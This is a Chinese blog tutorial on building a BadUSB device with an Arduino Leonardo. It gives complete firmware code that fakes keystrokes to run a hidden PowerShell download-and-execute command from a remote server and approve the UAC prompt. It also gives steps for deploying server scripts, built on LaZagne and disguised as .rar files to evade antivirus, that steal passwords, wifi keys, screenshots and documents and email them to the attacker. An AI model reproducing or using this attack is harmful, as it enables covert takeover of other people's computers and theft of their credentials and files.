cdxy.me
Footprints on Cyber Security and Python

何为BadUsb

简介

通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。

威胁

BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。


原理

硬件知识基础

HID攻击

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

Teensy

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

Arduino

Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

攻击流程

Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

制作工具

硬件

1286芯片或者2303芯片的U盘

这里我们使用的是: BS Micro pro micro leonardo Arduino 开发板

BS

淘宝链接: https://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&id=44364709185&ns=1&abbucket=12#detail

软件

1 Arduino IDE

IDE

kali自带,win下载链接: http://downloads.arduino.cc/arduino-1.6.4-windows.zip

下载为zip,不需安装,直接解压就能用。

2 Teensyduino

http://www.pjrc.com/teensy/td_123/teensyduino.exe

下载后双击运行,安装的时候会有一步安装设备驱动,按提示安装之。 注意,安装时要求手动选择Arduino IDE的安装位置,此时选择之前步骤zip的解压目录即可。

安装成功后运行arduino.exe会发现这里有了许多可选项: 我们根据之前案例中使用的硬件,按图中所示,选择Arduino Leonardo这一项。 这里写图片描述


制作过程

1 硬件连接IDE

  1. 硬件插入电脑
  2. 打开Arduino IDE
  3. 工具->版->选择“Arduino Leonardo”
  4. 工具->Port->选择“COM* (Arduino Leonardo)”
  5. 现在可以看到IDE右下角出现“Arduino Leonardo on COM*” 这里写图片描述

2 代码写入硬件

  1. 复制如下代码到IDE中(代码在后面) 这里写图片描述
  2. 将代码中的http://www.cdxy.me/main.ps1改成自己的域名
  3. 点击IDE左上角 对号图标 验证,然后点击 箭头图标 上传代码到硬件,没报错就OK了 这里写图片描述
  4. 将硬件重新插入电脑,此时会看到电脑自动执行代码的全部动画过程
void setup() { 
    delay(5000);
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_ESC);
    Keyboard.releaseAll();
    delay(500);

    Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_LEFT_SHIFT);
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(2500);

    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press('y');  
    Keyboard.releaseAll();  
    delay(1500);

 }

void loop() {}

代码解释:

插入后等待五秒, 按下ctrl+esc,(作用:在任何界面打开开始菜单) 等待半秒, 模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令) 等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)

3 准备服务器端代码

到此为止,硬件的设置已经完成,当硬件插入之后,系统会模拟键盘输入执行: powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1' 也就是从域名下面的main.ps1文件下载代码并执行。

以下代码可在我的github下载: https://github.com/Xyntax/BadUSB-code

  1. 下载所需代码,
  2. 修改main.ps1的2754行 为上面的域名,
  3. 修改main.ps1的2903-2919行 为发送邮件配置 发送邮箱尽量不要用163 入口文件为GetPass.ps1,
  4. 修改GetPass.ps1中的前两行,域名,Getpass.rar实际上是lazagne,用rar下载尽量避免出发安全软件,这个不放心可以百度下载。command.rar实为bat 因为 lazagne注入lsass时会被安全软件拦截,所以用bat避免注入。修改GetPass.ps1中的邮箱配置,同main.ps1中的就行
  5. 将这四个文件上传到公网服务器 这里写图片描述

4 测试

  1. 插入硬件,观察电脑是否自己打开了开始菜单并执行命令,当你看到powershell的黑色框一闪而过时,就可以拔下硬件了。
  2. 此时电脑后台下载并运行代码,过几分钟邮箱就会收到邮件,一共两封。

这里写图片描述

这里写图片描述

  1. 打开两个附件是这个样子的

GetPass结果: 这里写图片描述

屏幕截图、wif密码、文档窃取、本地dump结果: 这里写图片描述

扩展

理解原理之后,通过修改服务器端代码,利用方式可有很多,如反弹shell或者开3389等,代码这里就不提供了,您比我懂,欢迎交流。

参考及感谢

  1. BadUsb----结合实例谈此类外设的风险
  2. 利用烧鹅制作简单BadUSB,插谁谁怀孕
  3. HID攻击之TEENSY实战
  4. 新的U盘自动运行——BadUSB原理与实现

感谢HackPanda大牛的技术支持和答疑解惑!